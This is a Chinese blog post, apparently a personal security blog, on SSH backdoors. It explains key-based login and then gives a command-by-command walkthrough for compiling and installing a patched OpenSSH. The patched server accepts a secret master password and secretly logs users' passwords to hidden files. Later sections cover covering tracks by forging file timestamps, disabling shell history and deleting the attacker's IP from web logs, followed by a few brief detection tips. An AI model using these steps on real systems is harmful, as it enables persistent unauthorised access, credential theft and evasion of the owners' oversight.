Hu3sky's blog

ssh后门

Word count: 1,103 / Reading time: 5 min
2018/09/06 Share

ssh公钥免密

SSH-KeyGen 的用法

假设 A 为客户机器,B为目标机;

要达到的目的:
A机器ssh登录B机器无需输入密码;
加密方式选 rsa|dsa均可以,默认dsa

做法:

  1. 登录A机器
  2. ssh-keygen -t [rsa|dsa],将会生成密钥文件和私钥文件 id_rsa,id_rsa.pub或id_dsa,id_dsa.pub
  3. 将 .pub 文件复制到B机器的 .ssh 目录, 并 cat id_dsa.pub >> ~/.ssh/authorized_keys
  4. 大功告成,从A机器登录B机器的目标账户,不再需要密码了;

原理

主要有两种登录方式:第一种为密码口令登录,第二种为公钥登录

密码口令登录

  通过密码进行登录,主要流程为:

    1、客户端连接上服务器之后,服务器把自己的公钥传给客户端

    2、客户端输入服务器密码通过公钥加密之后传给服务器

    3、服务器根据自己的私钥解密登录密码,如果正确那么就让客户端登录

公钥登录

  公钥登录是为了解决每次登录服务器都要输入密码的问题,流行使用RSA加密方案,主要流程包含:

    1、客户端生成RSA公钥和私钥

    2、客户端将自己的公钥存放到服务器

    3、客户端请求连接服务器,服务器将一个随机字符串发送给客户端

    4、客户端根据自己的私钥加密这个随机字符串之后再发送给服务器

    5、服务器接受到加密后的字符串之后用公钥解密,如果正确就让客户端登录,否则拒绝。这样就不用使用密码了。

OpenSSH 后门

环境说明

Centos 7

查看Openssh版本

ssh -V
2

下载SSH配置文件

1
2
3
4
5
6
7
8
9
[root@vultr ~]# mkdir open_ssh_backdoor
[root@vultr ~]# cd open_ssh_backdoor/
[root@vultr open_ssh_backdoor]# wget http://ifuryst.com/usr/uploads/data/openssh-5.9p1.tar.gz
[root@vultr open_ssh_backdoor]# wget http://ifuryst.com/usr/uploads/data/openssh-5.9p1.patch.tar.gz
[root@vultr open_ssh_backdoor]# tar -zvxf openssh-5.9p1.patch.tar.gz
[root@vultr open_ssh_backdoor]# tar -zvxf openssh-5.9p1.tar.gz
[root@vultr open_ssh_backdoor]# cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/
[root@vultr open_ssh_backdoor]# cd openssh-5.9p1
[root@vultr openssh-5.9p1]# patch < sshbd5.9p1.diff

可能会遇到patch未安装

yum -y install patch

修改后门密码与文件记录

[root@vultr openssh-5.9p1]# vim includes.h
在最下面可以看见
1

ILOG是记录登录到本机的用户名和密码的文件,这里我用.ilog是为了隐藏文件,需要用ls -la才能查看
OLOG是记录本机登录到远程的用户名和密码
SECRETPW是你后门的密码。

[root@vultr openssh-5.9p1]# vim version.h

修改ssh版本信息,改成原来的

3

安装所需环境

[root@vultr openssh-5.9p1]# yum install -y openssl openssl-devel pam-devel

编译安装

1
2
3
[root@vultr openssh-5.9p1]# ./configure --prefix=/usr --sysconfdir=/etc/ssh
[root@vultr openssh-5.9p1]# make && make install
[root@vultr openssh-5.9p1]# service sshd restart

(不知道哪一步出错了 中途直接ssh崩了 vps都连不上了。。。心态爆炸)

然后就可以用之前的密码登陆了
4

可以发现 只会记录正常的密码,而我们的后门密码不会记录
5

抹去痕迹

修改上传文件时间戳

恢复新配置文件的日期,使其与旧文件的日期一致,对ssh_config和sshd_config文件的内 容进行对比,使其配置文件一致,然后修改文件日期。

touch -r 老文件时间戳 新文件时间戳

1
2
[root@vultr openssh-5.9p1]# touch -r /etc/ssh/ssh_config.bak /etc/ssh/ssh_config
[root@vultr openssh-5.9p1]# touch -r /etc/ssh/sshd_config.bak /etc/ssh/sshd_config

清除操作日志

1
2
3
4
5
[root@vultr open_ssh_backdoor]# export HISTFILE=/dev/null
[root@vultr open_ssh_backdoor]# xport HISTSIZE=0
[root@vultr open_ssh_backdoor]# cd /etc/httpd/logs/
[root@vultr open_ssh_backdoor]# sed -i '/192.168.52.175/d' access_log* //your login IP
[root@vultr open_ssh_backdoor]# echo >/root/.bash_history //清空操作日志

如何防御

  • 重装openssh,更新到最新版本
  • 将SSH默认登录端口22改为其他端口
  • IPTable中添加SSH访问策略
  • 查看ssh配置文件和/usr/sbin/sshd的时间
    stat /usr/sbin/sshd
  • 查看安全日志
    [root@vultr open_ssh_backdoor]# more /var/log/secure |grep Accepted //排查ip
  • 通过strace监控sshd进程读写文件的操作
    一般的sshd后门都会将账户密码记录到文件,可以通过strace进程跟踪到ssh登录密码文件。

参考链接 http://www.91ri.org/7295.html 【利用strace找出ssh后门】

CATALOG
  1. 1. ssh公钥免密
    1. 1.1. 原理
      1. 1.1.1. 密码口令登录
      2. 1.1.2. 公钥登录
  2. 2. OpenSSH 后门
    1. 2.1. 环境说明
    2. 2.2. 查看Openssh版本
    3. 2.3. 下载SSH配置文件
    4. 2.4. 修改后门密码与文件记录
    5. 2.5. 安装所需环境
    6. 2.6. 编译安装
    7. 2.7. 抹去痕迹
      1. 2.7.1. 修改上传文件时间戳
      2. 2.7.2. 清除操作日志
    8. 2.8. 如何防御
  3. 3. 参考链接 http://www.91ri.org/7295.html 【利用strace找出ssh后门】